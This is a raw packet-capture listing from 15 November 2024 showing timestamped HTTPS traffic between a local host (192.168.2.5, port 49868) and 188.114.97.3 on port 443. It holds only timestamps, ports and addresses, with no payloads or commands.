Nov 15, 2024 01:01:27.950066090 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950083971 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950094938 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950115919 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950186014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950223923 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950236082 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950247049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950272083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950392008 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950429916 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950443029 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950453043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950484991 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950685978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950723886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950736046 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.950747967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.950773954 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.951527119 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.951579094 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.951607943 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.951618910 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.951636076 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.952146053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952183008 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952199936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.952208996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952239037 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.952316999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952354908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952377081 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.952385902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952410936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.952692986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952729940 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952754974 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.952763081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.952841997 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.953133106 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.953175068 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.953202009 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.953210115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.953223944 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.953568935 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.953613043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.953620911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.953643084 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.953666925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.953957081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.953994989 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954015970 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.954025984 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954039097 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.954058886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.954277992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954317093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954397917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.954405069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954451084 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.954487085 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954571009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954590082 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.954600096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.954638958 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.955183029 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.955220938 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.955255985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.955265045 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.955281973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.955445051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.955491066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.955497026 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:27.955516100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:27.955560923 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.031084061 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065466881 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065512896 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065542936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065561056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065577984 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065619946 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065629959 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065659046 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065686941 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065706968 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065713882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065737963 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065782070 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065794945 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065888882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.065938950 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.065994024 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.066050053 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.066066027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.066076994 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.066103935 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.066123962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.066925049 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.066971064 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.067003012 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.067011118 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.067027092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.067048073 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.067070007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.067121029 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.067136049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.067145109 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.067169905 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.067181110 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.067190886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.067230940 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.169522047 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.169548988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.169605970 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.169627905 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.169647932 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.169672012 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.170053005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.170073986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.170109034 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.170118093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.170145035 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.170154095 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.170773983 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.170793056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.170831919 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.170839071 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.170881033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.170881033 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.171103001 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.171120882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.171154022 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.171161890 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.171186924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.171195984 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.171751976 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.171772003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.171802044 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.171811104 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.171854019 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.171880007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.172046900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.172065020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.172097921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.172105074 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.172120094 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.172158957 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.172349930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.172369957 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.172405005 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.172411919 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.172429085 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.172449112 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.173105001 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.173125029 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.173161030 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.173168898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.173197031 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.173209906 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.173362970 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.173382998 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.173407078 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.173414946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.173438072 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.173459053 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174000025 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174017906 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174057007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174067974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174088001 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174101114 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174694061 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174711943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174742937 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174751043 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174774885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174788952 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174877882 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174896955 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174930096 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174941063 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.174958944 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.174971104 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.175071001 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175128937 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.175141096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175177097 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175199032 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.175291061 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175309896 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175350904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.175359011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175380945 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.175777912 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175796986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175822973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.175834894 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.175853014 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.176203966 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176222086 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176268101 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.176276922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176294088 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.176426888 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176445007 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176472902 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.176481962 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176497936 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.176585913 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176603079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176635981 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.176645041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.176671028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.177140951 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.177159071 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.177191973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.177200079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.177212954 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.177366972 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.177383900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.177417040 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.177426100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.177443027 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.184279919 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184299946 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184340000 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.184350967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184385061 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.184458971 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184475899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184513092 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.184520960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184535980 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.184931040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184948921 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.184983969 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.184994936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.185008049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.185636044 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.185653925 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.185683966 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.185694933 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.185719013 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.186132908 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.186151028 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.186192036 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.186203957 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.186230898 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.234091043 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.288355112 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.288403988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.288433075 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.288451910 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.288467884 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.288490057 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.288786888 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.288841009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.288852930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.288863897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.288892031 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.288913965 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.289429903 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.289474010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.289486885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.289499044 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.289515972 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.289530993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.289861917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.289906025 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.289926052 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.289935112 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.289952040 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.289993048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.290060997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.290119886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.290576935 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.290617943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.290637016 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.290646076 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.290668011 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.291378975 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.291404009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.291431904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.291436911 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.291455030 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.291470051 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.291501045 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.395675898 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.395730019 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.395751953 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.395772934 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.395788908 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.395807028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.396135092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.396183968 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.396198988 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.396209002 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.396233082 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.396248102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.396603107 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.396647930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.396663904 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.396689892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.396703959 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.396720886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.396953106 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.396996021 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.397011995 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.397022009 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.397046089 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.397057056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.397499084 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.397547960 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.397557974 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.397578001 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.397586107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.397609949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.397996902 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.398040056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.398050070 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.398061037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.398087025 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.398099899 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.398507118 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.398550034 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.398551941 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.398572922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.398595095 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.398612022 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399274111 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399327993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399343014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399396896 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399554968 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399609089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399615049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399631977 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.399656057 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.399671078 CET	49868	443	192.168.2.5	188.114.97.3
